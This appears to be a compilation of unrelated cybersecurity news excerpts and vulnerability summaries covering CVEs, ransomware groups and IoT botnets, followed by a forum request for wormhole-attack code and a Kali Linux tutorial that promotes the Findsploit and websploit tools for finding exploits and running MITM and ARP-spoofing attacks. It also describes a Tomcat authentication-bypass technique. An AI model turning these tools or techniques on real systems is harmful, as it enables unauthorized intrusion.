Moreover, he said that there is tension in this region from a geopolitical perspective and there is interest from different global actors to perform attacks aimed at disrupting the critical infrastructure as it will have massive consequences to national security.
“It is cheaper and a way to disguise than sending an army, just by sitting in front of the computer. There have been cases already and it will happen again next year,” he said.
Vernacchia expects more attacks aimed at stopping or compromising the availability of main supplies in the region such as oil and gas, petrochemical and electricity grid.
For example, a blackout in Ukraine and the destruction of nuclear enrichment centrifuges in Iran.
Researchers have identified a new malware – Snakehose - which kills specified OT/ICS-related processes to ensure that the ransomware would impact the data and files used by the specific enumerated software.
However, at the moment there is no strong evidence indicating that the malware was built to specifically target OT environments.
“Electricity grid is important in this region compared to many other parts of the world. Stoppage of A/C and water supply would hit the economy hard in the region, especially in summer,” Vernacchia said.
Although, while politically it is easy to say a country is behind an attack, certainty of attribution to a nation-state is always “difficult”.
“We have found attackers putting comments in specific languages, or even coding at a specific time in the day to forge proof a different nation-state is behind the attack. Everyone would try to disguise themselves as someone else and in some cases; it would be of vested interest in a bid to try to pretend it is someone else to ignite a reaction.
- State-sponsored actors to launch more coordinated cyber attacks
- Prediction rather than prevention is way forward to stay one step ahead of hackers
- Healthcare is an attractive target for disruptive or destructive cyberattacks
- Cybersecurity needs to be part of an organisation’s culture to be effective
While a considerable number of countries require disclosure of attacks and provide consumers with a way to understand if their data may be abused as well as providing an image impact for low cybersecurity maturity, he said the region’s progress on requiring this has been limited so far.
“In the West, you are supposed to disclose the breach. In the region, it is not required by any government or entity to disclose the breach publicly when compared to the EU, California or some other countries,” he said.
Moreover, he said the digital transformation which is taking place in heavy industrials is pushing towards connecting OT (ICS and SCADA devices) and IT and this is creating new challenges by increasing the potential for remote attackers to penetrate the OT network of critical infrastructure, also due to the pace at which this transformation is happening in the region.
Vernacchia said this can also allow ransomware infections to move from IT to OT and affect the operation of critical infrastructures
At the same time, he said that the region has seen financially motivated attacks mainly aimed at smaller entities performing big yet rare financial transactions.
“There were some entities, in the region’s free zones, which are dealing with equities and debit transactions and attackers found the way to funnel money out usually to Taiwan or Hong Kong and from there to Mainland China or Africa,” he said.
However, he said that the criminal activity will keep growing at the financial hubs such as Dubai, Abu Dhabi and Bahrain but it will be less when compared to the West due to the fact these transactions involve a limited number of individuals and a higher level of personal trust when compared to same size transactions happening in larger economies.
“From a criminal investment perspective, there may be a lot more fun in attacking bigger geographies,” he said.
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Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Due to improper input validation in the Feathers js library, it is possible to perform a SQL injection attack on the back-end database, in case the feathers-sequelize package is used. This issue affects versions 6.x prior to 6.3.4. This has same fix as CVE-2022-29822.
CWE-89 - SQL Injection
Structured Query Language (SQL) injection attacks are one of the most common types of vulnerabilities. They exploit weaknesses in vulnerable applications to gain unauthorized access to backend databases. This often occurs when an attacker enters unexpected SQL syntax in an input field. The resulting SQL statement behaves in the background in an unintended manner, which allows the possibility of unauthorized data retrieval, data modification, execution of database administration operations, and execution of commands on the operating system.
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Details have emerged about a new unpatched security vulnerability in Fortinet’s web application firewall (WAF) appliances that could be abused by a remote, authenticated attacker to execute malicious commands on the system.
“An OS command injection vulnerability in FortiWeb’s management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page,” cybersecurity firm Rapid7 said in an advisory published Tuesday. “This vulnerability appears to be related to CVE-2021-22123, which was addressed in FG-IR-20-120.”
Rapid7 said it discovered and reported the issue in June 2021. Fortinet is expected to release a patch at the end of August with version Fortiweb 6.4.1.
The command injection flaw is yet to be assigned a CVE identifier, but it has a severity rating of 8.7 on the CVSS scoring system. Successful exploitation of the vulnerability can allow authenticated attackers to execute arbitrary commands as the root user on the underlying system via the SAML server configuration page.
“An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges,” Rapid7’s Tod Beardsley said. “They might install a persistent shell, crypto mining software, or other malicious software. In the unlikely event the management interface is exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ.”
Rapid7 also warns that while authentication is a prerequisite for achieving arbitrary command execution, the exploit could be chained with an authentication bypass flaw, such as CVE-2020-29015. In the interim, users are advised to block access to the FortiWeb device’s management interface from untrusted networks, including taking steps to prevent direct exposure to the internet.
Although there is no evidence that the new security issue has been exploited in the wild, it’s worth noting that unpatched Fortinet servers have been a lucrative target for financially motivated and state-sponsored threat actors alike.
Earlier this April, the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) warned of advanced persistent threat groups targeting Fortinet FortiOS servers by leveraging CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591 to compromise systems belonging to government and commercial entities.
In the same month, Russian cybersecurity company Kaspersky revealed that threat actors exploited the CVE-2018-13379 vulnerability in FortiGate VPN servers to gain access to enterprise networks in European countries to deploy the Cring ransomware.
Update: Fortinet shared the following statement with The Hacker News:
“The security of our customers is always our first priority. Fortinet recognizes the important role of independent security researchers who work closely with vendors to protect the cybersecurity ecosystem in alignment with their responsible disclosure policies. In addition to directly communicating with researchers, our disclosure policy is clearly outlined on the Fortinet PSIRT Policy page, which includes asking incident submitters to maintain strict confidentiality until complete resolutions are available for customers. As such, we had expected that Rapid7 hold any findings prior to the end of our 90-day Responsible disclosure window. We regret that in this instance, individual research was fully disclosed without adequate notification prior to the 90-day window. We are working to deliver immediate notification of a workaround to customers and a patch released by the end of the week.”
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Category Archives: Open-Source
Backbox is a Linux distribution that can be used for several security purposes like penetration testing, incident handling or intelligence gathering. New version BackBox 4.0 have been released with additional applications and update to improve functionality. New features include: Preinstalled
Responder is a tool from SpiderLabs that can be used during a pentest for spoofing and network man-in-the-middle attacks. Initially the utility comes to spoof special network protocols for resolving hostnames such as NBNS which is similar to DNS service.
VoIP security testing is important to verify the quality of your system before it is moved into production. One of the tool that you can consider for pentest VoIP is Viproy. This tool have been presented on DefCON and include
Android becomes a popular platform for developers and we see an increasing number of applications running on mobile devices that support this system. Technology have rapidly changed and security tools for making the assessment are also increasing. drozer is a
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May 21, 2020
The Cybersecurity and Infrastructure Security Agency (“CISA”) at the U.S. Department of Homeland Security (“DHS”) says its simple: update your software with the latest security patches.
In a May 12 Alert CISA provided details concerning the top 10 vulnerabilities routinely exploited by sophisticated state-sponsored hackers. Most of these vulnerabilities are publicly known (and many are almost a decade old). Despite that, these known vulnerabilities are still effectively being used to effectuate data breaches (for sovereign and criminal purposes).
With the alert the CISA is encouraging a type of “cyber-herd immunity” against known vulnerabilities. Such known vulnerabilities require considerably less resources by foreign actors to penetrate data systems (as opposed to so called “zero day exploits”). By highlighting these vulnerabilities (and the simple patches required to mitigate them), the CISA hopes to make the hacking attempts of foreign actors more costly, more time intensive, and less productive (and the associated attacks and threats less likely). “The public and private sectors could degrade some foreign cyber threats to U.S. interests through an increased effort to patch their systems and implement programs to keep system patching up to date. A concerted campaign to patch these vulnerabilities would introduce friction into foreign adversaries’ operational tradecraft and force them to develop or acquire exploits that are more costly and less widely effective. A concerted patching campaign would also bolster network security by focusing scarce defensive resources on the observed activities of foreign adversaries.” While the Alert primarily deals with state-sponsored attacks, the vulnerabilities addressed are so well known that less sophisticated criminal and amateur hackers can easily exploit them, and mitigation of these known attacks should really be at the top of every company’s IT “to do list”.
The alert is in two parts, the first being devoted to the top 10 most exploited vulnerabilities from 2016 to 2019 and the second to those vulnerabilities exploited in 2020. Earlier hacks (especially by state-sponsored actors in China, Iran, North Korea, and Russia) exploited vulnerabilities in Microsoft’s Object Linking and Embedding (OLE) technology, however the failure by US companies to implement the patches provided once the vulnerabilities were detected allowed continued exploitation by Chinese state cyber actors through December 2019 (for a vulnerability that was fully described in 2015). Other Microsoft and Adobe Flash products in wide commercial usage were noted points of penetration (as set out in a 2019 report titled “Criminal Underground Continues to Target Microsoft Products in Top 2019 Exploited Vulnerabilities List”). Disturbingly in this unprecedented era of “work from home”, new targeted intrusions are focusing on Virtual Private Network vulnerabilities, Office 365 systems deployed in new cloud collaboration service configurations and increasing social engineering schemes (playing on a bored “stay at home” work force) coupled with a lack of system recovery and contingency planning (making ransomware attacks increasingly prevalent and costly). All of the recent application level vulnerabilities noted have available patches — they just haven’t been consistently implemented by companies whose IT departments are straining to accommodate to the new “safer-at-home”/”stay-at-home” resource requirements. CISA also references its guide to Cyber Essentials for mitigation guidelines related to the social engineering vulnerabilities and the two services it offers for internet-facing vulnerability scanning and web application review “to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors.” For today’s haggard IT professionals trying to explain, and beleaguered C-suite executives trying to understand, the threats and the necessary infra-structure for managing these cybersecurity threats, the Alert provides a simple infographic.
The Alert is important for three reasons. First, it highlights threats that can be quickly and cost effectively resolved once proper resources are allocated. Second, it demonstrates methodology used by state-sponsored hackers that can be easily adapted by criminals to gain access to company critical digital information. Third, it illustrates the simple ROI approach that both governments and criminals use in cyber-attacks: a “lazy man” exploit of known vulnerabilities that are quick, easy, and cheap because companies haven’t installed available patches (rather than expending significant sophisticated resources to look for new and novel ways to achieve their goal of compromising your company’s systems — which resources are only justified for high-value targets).
These materials have been prepared for informational purposes only and are not legal advice. This information is not intended to create, and receipt of it does not constitute, an attorney-client relationship. Internet subscribers and online readers should not act upon this information without seeking professional counsel.
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Scripting Flaw Leaves Servers Vulnerable
A serious vulnerability in PHP could give an attacker control of vulnerable Web servers, say security researchers.Security researchers have found a serious vulnerability in PHP, a scripting language used in creating dynamic Web pages, that could give an attacker control of some vulnerable Web servers. Parser Hypertext Preprocessor (PHP) is an embedded HTML scripting language used mainly by Web servers running on Linux machines. It is a server-side language and is favored by Web developers for its compatibility with many database types. Along with Microsoft Corp.s Active Server Pages (ASP) and Sun Microsystems Inc.s Java Server Pages (JSP), PHP is one of the most common scripting languages on the Internet.
A flaw in the way that versions 4.2.0 and 4.2.1 handle error conditions triggered by a malformed post request could either lead to the server crashing or the attacker gaining control of the machine, according to an advisory published Monday by Stefan Esser, of e-Matters Security, a German security company. Esser is a PHP developer and previously has found several other bugs in PHP.
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Researchers have investigated multiple LockBit intrusions that they attribute to a threat cluster sharing numerous overlaps with the well known Evil Corp cybercriminal group. The use of LockBit would signify a notable shift in tactics for the group, which researchers believe is part of an effort to both evade detection and sidestep the 2019 sanctions placed on Evil Corp by the U.S. government.
“Based on the overlaps between UNC2165 and Evil Corp, we assess with high confidence that these actors have shifted away from using exclusive ransomware variants to LockBit — a well-known ransomware as a service (RaaS) — in their operations, likely to hinder attribution efforts in order to evade sanctions,” said researchers with Mandiant in a Thursday analysis.
Previously, Evil Corp-affiliated activity was associated with a number of ransomware variants, including Bitpaymer, Doppelpaymer, WastedLocker, and most recently, the Hades ransomware.
Researchers said that this UNC2165 activity, which dates back to June 2020, likely represents another evolution in Evil Corp-affiliated actors' operations since the 2019 Treasury Department Office of Foreign Assets Control (OFAC) sanctions against Evil Corp individuals for their roles in campaigns involving the Dridex malware. Since the sanctions, Evil Corp-affiliated actors have reduced activity around Dridex to enable intrusions, instead relying on the development of new ransomware families in order to obscure attribution. Four months after the sanctions were announced, for instance, researchers at NCC Group saw Evil Corp attackers using the previously unknown WastedLocker ransomware variant.
The widespread use of LockBit by several different threat actors over the past few years makes it an attractive choice for the attackers, said researchers. The RaaS has been advertised in underground forums since 2020 and has a prominent affiliate program. The use of this ransomware would allow UNC2165 to blend in with other affiliates while the previous ransomware the group exclusively used was more easily attributable.
“We expect these actors as well as others who are sanctioned in the future to take steps such as these to obscure their identities in order to ensure that it is not a limiting factor to receiving payments from victims.”
“Additionally, the frequent code updates and rebranding of HADES required development resources and it is plausible that UNC2165 saw the use of LockBit as a more cost-effective choice,” said researchers. “The use of a RaaS would eliminate the ransomware development time and effort allowing resources to be used elsewhere, such as broadening ransomware deployment operations.”
The research provides hints about how cybercriminals move forward after they have been hit by sanctions, which has been a popular method by the U.S. government to crack down on certain threat groups, though opinions are mixed about how effective sanctions actually are in combating ransomware. It also shows how the RaaS model in general effectively conceals cybercriminal gangs who may be well known, allowing threat groups or even state actors to leverage the model to anonymously carry out their operations.
Upon closer examination of UNC2165, researchers were able to track how the tactics used as part of the activity cluster have evolved over time in ransomware attacks. In 2021, for instance, the actors leveraged publicly available loaders like the Donut loader to deploy Beacon payloads; however, since late 2021 the actors has started using the Colorfake (also known as Blister) dropper. The actors have taken several common approaches for privilege escalation, including mimikatz attacks, the targeting of authentication data stored in the Windows registry and searching for files associated with password managers or that may contain plaintext credentials. Researchers also noted that based on information from trusted sensitive sources and underground forum activity, they have “moderate confidence” that a particular unnamed actor operating on underground forums is affiliated with UNC2165.
Moving forward, Mandiant researchers believe it may be possible for the actors behind UNC2165 to “continue to take additional steps to distance themselves from the Evil Corp name.”
“Some evidence of this developing trend already exists given UNC2165 has leveraged stolen credentials in a subset of intrusions, which is consistent with a suspected member’s underground forum activity,” said researchers. “We expect these actors as well as others who are sanctioned in the future to take steps such as these to obscure their identities in order to ensure that it is not a limiting factor to receiving payments from victims.”
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dp_link_settings_write in drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm_debugfs.c in the Linux kernel through 5.14.14 allows a heap-based buffer overflow by an attacker who can write a string to the AMD GPU display drivers debug filesystem. There are no checks on size within parse_write_buffer_into_params when it uses the size of copy_from_user to copy a userspace buffer into a 40-byte heap buffer.
CWE-787 - Out-of-Bounds Write
Out-of-bounds write vulnerability is a memory access bug that allows software to write data past the end or before the beginning of the intended buffer. This may result in the corruption of data, a crash, or arbitrary code execution.
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Apache Tomcat Bug Lets Remote Users Bypass Security Constraints
Version(s): 6.0.0 - 6.0.35, 7.0.0 - 7.0.29
A vulnerability was reported in Apache Tomcat.
When using FORM authentication it was possible to bypass the security constraint checks in the FORM authenticator by appending /j_security_check to the end of the URL if some other component (such as the Single-Sign-On valve) had called request.setUserPrincipal() before the call to FormAuthenticator#authenticate().
A remote user can bypass security constraints
The vendor has issued a fix (6.0.36, 7.0.30).
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Video surveillance systems are not considered the most common protection system in vain. Even the presence of cameras in places prevents the endeavors of robbery in many cases. Video surveillance plays an effective role in determining the participants of the event, ensuring public security and surveillance.
Powered by R.Haciyev . Created in 2019
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The malicious Monero mining campaign is spreading fast through ADB.miner to target Android devices.
The IT security researchers at a Chinese information security firm Netlab have revealed that the ADB.miner malware also called Android.CoinMine.15 is spreading at an excessively fast pace. Researchers have noted that its activity is at its peak at the moment with the number of infected devices getting doubled every passing day.
According to their blog post, a majority of these infected devices are smart TVs probably because these devices use ADB (Android Debug Bridge) for uninterrupted internet connections. However, smartphones, set-top boxes, media players, routers, tablets and receivers along with the Android-based single-board computer Raspberry Pi 3 are also potential targets since all of them use network debugging.
This Android Trojan performs Monero cryptocurrency mining and can easily infect other devices; it infects Android devices using an open port 5555 that is used by the ADB. It is distributed via the Droidbot.apk application with the files nohup, sss, and bot.dat, which are installed on an infected host through another infected device.
The sss file is executed using the nohup utility where the file serves as a daemon and extracts other Trojan components from bot.dat. These components include a JSON configuration file, a copy of the droidbot Trojan program and miner applications both for 32-bit and 64-bit operating systems. After being launched, droidbot produces a random IP address and attempts to create a connection with the port 5555 through creating an infinite loop, which infects the targeted device by exploiting the ADB debugger’s interface.
Additionally, a separate thread is created where a miner application is launched; this application is designed to mine Monero cryptocurrency. Through mining operation, the device’s performance is significantly reduced as it will get overheated and the battery will be drained rapidly.
It must be noted that the ADB debugger is originally disabled in a majority of Android devices but some vendors choose to enable it; it can also be enabled manually by a user and developers also use the debugging mode frequently. Around 8% of the devices have the debugging mode enabled; this means 8% of all the android devices are potentially at risk.
After getting infected, the compromised TV boxes and Android smartphones search networks for other devices having the Internet port 5555 open, which usually is closed but the ADB tool enables it to carry out a series of diagnostic tests. Netlab’s laboratory was scanned by 2,750 unique IPs in the initial 24 hours after the botnet was launched. This is why researchers believe that the malware is spreading at an alarmingly high rate.
“Overall, we think there is a new and active worm targeting Android systems’ ADB debug interface spreading, and this worm has probably infected more than 5,000 devices in just 24 hours. Those infected devices are actively trying to spread malicious code,” wrote the researchers from Netlab.
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According to the latest malware forecast from SophosLabs, the threat analysis arm of IT security supplier Sophos, malware targeting IoT devices gained momentum in 2016 and will likely remain a challenge in 2017.
The report states that one malware sample was built to evade anti-virus detection with consistent static updates, encrypted/obfuscated strings and even some rudimentary UPX [Ultimate Packer for Executables] packer hacking. UPX packers compress executable code to fit into fewer bytes of data.
One malware family was far more active than any of the others. The malware, known as Linux/DDoS-BI, spread by simply scanning over large IP address blocks, attempting to brute-force access to devices via SSH (Secure Shell), a network protocol that provides administrators with a secure way to access remote computers.
This malware targeted ‘low-hanging fruit’ – such as any device with a factory/default password. SophosLabs researchers said they have observed incidents involving the malware on the rise since October 2016. More than a hundred cases were observed in late October and were up to around 150 by mid-November. By mid-December, the total surpassed 200, and hit 466 the week of January 20, before slightly dropping again.
More Golang-coded malware targeting IoT
Sophos expects an increase in the complexity of malware targeting IoT devices in the short term. It said that Golang – a free, open source programming language created at Google – has been used to create malware that targets IoT devices, as it is easy to learn and uses very little code, making it ideal for infecting devices with little on-board memory.
The company’s threat analysis team also said that they continue to receive samples of Mirai, the malware used in last year’s IoT-based attack against Dyn, but added:
“It’s important to note that, despite all the news coverage Mirai has received, we haven’t seen much of it affecting our customers. We see roughly two in 10,000 endpoints reporting Mirai detections,” the report’s authors said. But that’s no reason for complacency, it seems.
“We expect exploits against vulnerable IoT technology to continue on an upward trajectory, with attackers emboldened by the success of campaigns like last October’s Mirai assault against Dyn,” they warned.
Jason Hart, chief technology officer of data protection at digital security company Gemalto, told Internet of Business that IoT devices are portals that hackers can use to gain access to what they care about most – data.
“No matter how secure one device is, if there is another one that is connected to the same network that isn’t, hackers can manipulate and use this to access other devices within the network or, as in this case, stop normal operation of other systems,” he said.
“In order to prevent this from happening, organisations must ensure they are putting in the right protocols to protect the data at its source.”
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SonarCloud has highlighted security issues in the use of serialization to save and restore the state of java.util.Random instances.
When reading objects using ObjectInputStream.readObject() the class is first identified and the private readObject() method of the class type is executed (if it is present). If the class is a malicious class then potentially malicious code can be executed.
Uses serialisation to save the java.util.Random instance to the RandomProviderState.
The code requires that java.util.Random is read using ObjectInputStream.readObject(). To ensure the code only allows java.util.Random to be read the code can adapt the ValidatingObjectInputStream idea from Commons IO to prevent malicious code execution.
This writes and reads a byte using the writeObject and readObject methods of ObjectOutput/InputStream. To avoid use of readObject() the code can be refactored to write the byte using the write(byte) method of ObjectOutputStream and the readFully(byte) method of ObjectInputStream.
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On October 16th 2016, Sam Edwards and Ioannis Profetis from Rapidity Networks published a report on a new malware they discovered and named “Hajime.”
Before Hajime was able to make headlines, the Mirai botnet was attributed to the attacks that took down Dyn last year and lead to a large array of Fortune 500 companies such as Amazon, Netflix, Twitter, CNN, and Spotify being unreachable most of that day. Hajime evaded the attention but kept growing steadily and breeding in silence.
Until a few weeks ago, Hajime was not a headline, but rather a subject many researchers were studying and analysing, trying to uncover the mystery behind its purpose and the intentions of its author.
No attacks have been attributed to Hajime and it doesn’t carry a payload to do so. But it is sophisticated, well designed and flexible enough to be repurposed in the blink of an eye. In my personal opinion, there are enough elements to believe there is a real and present danger in Hajime.
Hajime has been gaining considerable Internet of Things (IoT) market share for the last six months. Infection attempts by Hajime account for nearly 50% of the IoT bot activity in our honeypots. In a timespan of a little over five weeks, we counted almost 15,000 infection attempts from more than 12,000 unique IPs. We discovered that upon infecting, the Hajime bot sometimes leverages other infected nodes to download its malware, which increased our coverage and brought the current total number of unique infected IPs we could identify to almost 19,000.
In terms of infected countries, Vietnam is leading with Brazil, Iran, and Turkey following closely – but it being a global threat, most countries with well-established internet take a fair share of the infection pie.
There has been lots of speculation about the greyness of the author and the intent and purpose of Hajime. If we set aside the speculation and the motivation of the original author, but focus on the potential purpose of such large IoT botnets, consider for a moment that this botnet could be hijacked from its original owner.
A botnet this size with a flexible backend and high potential for criminal behaviour will certainly attract the attention of black hats. Whoever has the ‘keys’ of the botnet will decide its fate!
Because of its flexible and extensible nature, Hajime can easily be repurposed and leveraged to perform tasks such as the following:
- Distributed Denial of Service (DDoS) attacks
- Massively distributed vulnerability scanning – allowing hackers to detect vulnerable, public exposed services and exploit them within hours after the disclosure of a new vulnerability.
- Massive surveillance network – the extension module could tap into streams from cameras.
- IoT Bricker network – leveraging the work of BrickerBot, it would be possible for a hacker to target and put a specific region or city in the dark by bricking all the infected devices corresponding to that region or city based on geography.
For now, however, Hajime is still under control of its original author (or so I hope) and mostly we are considering his intentions to be good. Still, I wonder why this white knight keeps growing his botnet and keeps the devices hostage – searching and scanning aggressively for the next potential victim.
For now, I’d advise businesses to consider these DDoS Protection Essentials:
- Hybrid DDoS Protection: On-premise and cloud, for real-time DDoS attack prevention that also addresses high volume attacks and protects from pipe saturation.
- Behavioural-Based Detection: Quickly and accurately identify and block anomalies while allowing legitimate traffic through.
- Real-Time Signature Creation: Promptly protect from unknown threats and 0-day attacks.
- A cyber-security emergency response plan: Including a dedicated emergency team of experts who have experience with IoT security and handling IoT outbreaks.
I hope this article has given you a better view on what Hajime represents. If Hajime is a glimpse into what the future of IoT botnets looks like, I certainly hope the IoT industry gets its act together and starts seriously considering securing existing and new products. If not, our connected hopes and futures might depend on grey hat vigilantes to purge the threat the hard way.
By Pascal Geenens,security evangelist Radware EMEA.
Join our free-to-attend digital event, Last Thursday in Privacy, addressing data protection, privacy and security challenges including working from home, COVID-19, global regulations and more. Visit https://digital.privsec.info/.
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I am Shah. I am working on a simulation for localization using Hello Flood attack in Matlab which i have completed. But now in a very short time i need matlab code for WORMHOLE ATTACK. Although code for wormhole attack is available in ns2 and c++ but prevously i am working on Matlab so i cannot switch the software to check the localizaton behavior of wormhole attack.
So if anyone can provide me Matlab code for wormhole attack or guide me how to convert ns2 codse into matlab.
As mobile ad hoc network applications are implemented and security emerges as a central requirement. In this article, we present the wormhole attack, a severe attack on ad hoc networks that is particularly challenging to defend itself. Attack of the wormhole is possible even if the attacker has not compromised any host, and even if all communication provides authenticity and confidentiality. In the wormhole attack, an attacker logs packets (or bits) into a network location, uploads them (possibly selectively) to another location and relays them to the network. Wormhole attack can be a serious threat to wireless networks, especially against many ad hoc network routing protocols and location-based wireless security systems. For example, most existing ad hoc network routing protocols, without some mechanism to defend against the wormhole attack, could not find routes longer than one or two jumps, severely interrupting communication. We introduce a general mechanism, called packet leashes, to detect and, therefore, defend against wormhole attacks, and present a specific protocol, called TIK, which implements straps. We also discuss topology-based worm detection, and demonstrate that it is impossible for these approaches to detect some topolagies of worms.
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All activity areas will be impacted by these changes: from the industrial and services sectors to medicine and finance. Each industry comes with its specificities and follows precise rules regarding availability, integrity, confidentiality, and traceability according to how critical its activities are. Connected objects disrupt such established rules by spreading information beyond the local scale, turning formerly isolated devices into points of a network, and making smart systems out of sequential or deterministic ones.
Unfortunately, security is usually overshadowed by functional features and business priorities, which focus on reducing the time to market of the new product. In this context, although equipping the device with a dedicated chip to enhance security and compliance with current regulations could be considered a competitive advantage, it is more often than not seen as an obstacle.
Apart from being subject to corporate espionage and reverse engineering in order to copy them, connected objects can also become unexpected attack vectors. The two following examples hit the headlines, showing how easy it is to exploit the vulnerabilities of these objects to launch widespread attacks.
First, we can talk about how the virus Mirai generated an unprecedented denial of service on the OVH and DynDNS infrastructures. By taking control of connected objects (IP cameras in this case) and using them to launch attacks on unsuspecting users, this cyber-attack paralyzed a whole portion of the web for several hours on a worldwide scale. As it happens, it is easy to install and use IP cameras: although the camera and the smartphone are connected to two distinct networks, only three steps (click, flash, enjoy) are required to pair them. A default password and direct exposition to the internet make it possible for hackers to take complete control of the target object and turn it into a ‘zombie.’
In the second attack, an American casino was hacked from the inside using an aquarium thermometer connected to the internal network. The remote firmware update service via Bluetooth made the object an easy target, and hackers, who can easily obtain the required equipment online, only need to develop a chunk of microcode and exploit the vulnerability to send it to the object in order to take control of the infrastructure.
So, should we fear connected objects? Is the TV show Black Mirror right to warn us about them?
The answer is no; we just need to be aware of the risks. Because these devices store a considerable amount of private information, it’s important that users read the general terms and conditions and favor a provider that cares for their data (one that enforces the rules and follows security procedures) when choosing between two similar connected objects.
It’s complicated to know whether every object we buy is safe, but the two following rules can guide us:
- If everything is too simple (3-step connection, accessibility from different networks, easily guessed default password), then the level of general security isn’t likely to be high.
- If the service is really useful but completely free, then it means you are indirectly providing personal data that will be fed to a customer database.
Before the industrialization of these objects, onepoint assesses their physical and software security, as well as of those security aspects related to internal and external communication, from the point of view of both the hacker and the competitor.
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Security research firm Check Point revealed a new exploit on Tuesday that affects several media players. The vulnerability allows a hacker to infect your device and gain full control through through subtitles. The exploit, which puts 200 million users at risk, impacts video players and streamers like Popcorn Time, Kodi, Stremio and VLC.
Here's how it works: malformed subtitle files allow hackers to embed code into the subtitle files in popular pirated movies and TV shows. Subtitles are a non-suspecting source for hacks. When a user utilizes them, the malware is dumped on their desktop and the attacker is notified. Once they have control over a device — PC, smart TV or smartphone — the hacker can do whatever they want, from stealing information to installing ransomware.
Check Point explains in a blog post:
Our research reveals a new possible attack vector, using a completely overlooked technique in which the cyberattack is delivered when movie subtitles are loaded by the user's media player. These subtitles repositories are, in practice, treated as a trusted source by the user or media player; our research also reveals that those repositories can be manipulated and be made to award the attacker's malicious subtitles a high score, which results in those specific subtitles being served to the user. This method requires little or no deliberate action on the part of the user, making it all the more dangerous.
Unlike traditional attack vectors, which security firms and users are widely aware of, movie subtitles are perceived as nothing more than benign text files.
Checkpoint notes that the vulnerability lies in the "poor state of security in the way various media players process subtitle files." Another contributing factor is the large number of subtitle formats: there are over 25 different types currently being used.
"The supply chain for subtitles is complex, with over 25 different subtitle formats in use, all with unique features and capabilities," Omri Herscovici, vulnerability research team leader at Check Point, said in an email to Newsweek. "This fragmented ecosystem, along with limited security, means there are multiple vulnerabilities that could be exploited, making it a hugely attractive target for attackers."
Thus far, the firm has found vulnerabilities in four major platforms — Popcorn Time, Kodi, Stremio and VLC — and all four have released updates with a fix. People who frequent the four platforms should get the updates immediately.
But Checkpoint believes other platforms are also at risk. "We have reason to believe similar vulnerabilities exist in other media players as well," the firm wrote in a blog post.
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The second version (WPA2), released in mid-2004, does provide complete security, however, because it fully implements the IEEE 802.11i security standard with CCMP/AES encryption.
The Pre-Shared key or PSK or personal version is a type of mode which does not really provide substantial security especially for business purposes and venues. That’s because the encryption keys are much more vulnerable to hacking or cracking. However, the WPA2 enterprise is a mode which offers dynamic encryption keys which are securely distributed only when the user logs in with his username and correct password.
Both versions of Wi-Fi Protected Access (WPA/WPA2) can be implemented in either of two modes:
Personal or Pre-Shared Key (PSK) Mode: This mode is appropriate for most home networks—but not business networks. You define an encryption passphrase on the wireless router and any other access points (APs). Then the passphrase must be entered by users when connecting to the Wi-Fi network.
Though this mode seems very easy to implement, it actually makes properly securing a business network nearly impossible. Unlike with the Enterprise mode, wireless access can't be individually or centrally managed. One passphrase applies to all users. If the global passphrase should need to be changed, it must be manually changed on all the APs and computers. This would be a big headache when you need to change it; for instance, when an employee leaves the company or when any computers are stolen or compromised.
Unlike with the Enterprise mode, the encryption passphrase is stored on the computers. Therefore, anyone on the computer—whether it be employees or thieves—can connect to the network and also recover the encryption passphrase.
Enterprise (EAP/RADIUS) Mode: This mode provides the security needed for wireless networks in business environments. Though more complicated to set up, it offers individualized and centralized control over access to your Wi-Fi network. Users are assigned login credentials they must present when connecting to the network, which can be modified or revoked by administrators at anytime.
Users never deal with the actual encryption keys. They are securely created and assigned per user session in the background after a user presents their login credentials. This prevents people from recovering the network key from computers.
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In this article, we are telling you about Exploitation Tools in Kali Linux, what are Exploitation Tools and why are they used, it will be told to you in this article.
We have previously told you about all in one hacking tools, in those same tools you get Exploitation Tools, why are they used, today you will know in this article
All this is being told for educational purpose, you should never miss use it in any way, we are practically telling you about two such tools here.
Note – This post is only for educational purpose. Don’t miss use your knowledge and skills.
What is Exploitation Tools ?
Before using Exploitation Tools, you should know what Exploitation Tools are and why they are used, you must have heard the name of Exploits on your lot.
Here hackers can use any kind of devices by using Exploitation Tools, by exploiting them, you can hack websites of some kind by Exploit websites.
If we understand Exploitation Tools in easy language, then such tools are useful in many hacking attacks such as Exploitation to find routers and MITM attacks to Exploit and also used Exploitation Tools in many ways.
This tools can be used in many ways, hackers can use any other tools with these tools, it all depends on your practice, how do you learn more and more about them.
Like you have been told in many types of articles, it all depends on the hackers which way they attack
In this article, we are practically telling you about two Exploitation Tools, both these tools are found on the website of github, you can use them easily, it is being told to increase your knowledge.
Here firstly you are being told about one of the Exploitation Tools which helps a lot in finding your Exploits, its name is Findploit and second tool is very helpful in attacking like Man In the middle attack, ARP Poisoning.
First of all, you have to download and install this tool as you can see in the image, in some way this tool gets installed. git clone https://github.com/1N3/Findsploit
In this way, this tool gets installed in your operating system, after installation, you can use it to find Exploits, this is the first tool from our list of Exploitation Tools.
As you can see in the image, you can use this tool by running the tool in this way, as well as you can also check the help of this tool, you have been told all the instructions to use this tool.
Here you can see that everything has been told to you, by using these tools, you can find Exploits, this is all you get on github’s website.
As you can see here, we have used apache, in such a way, you have a lot of exploits show, when you press here, in such a way you will be able to see a lot of exploits show in your browser.
By using this Exploitation Tools, you can find many types of Exploits as you have been told earlier, you get vulnerable websites in Google hacking database, in such a way hackers miss use them a lot.
This tool gives you by searching Exploits from many types of websites, you get more tools in the same way, you can use such as the tool named searchsploit is also used in this way.
Here you can see that you can also find payloads in this way, here you can not be told using Exploits because it is illegal to do this but those who know about Exploits can use them easily.
In this way, you can use all these commands, you get many types of Exploits here. Hackers miss use by using these, but you should never use their misses, it has been told to you for educational purpose.
Similarly, you can also use websploit tool, first of all you have to download and install this tool as you can see in the image. git clone https://github.com/websploit/websploit
After downloading, you can install websploit Exploitation Tools by giving this command in this way, after the tool is installed, you can easily use it to attack MITM.
If you want, you can also read our article as you can see in the image, in this way you can do arp spoofing attack by using websploit, in this way you can use all attacks.
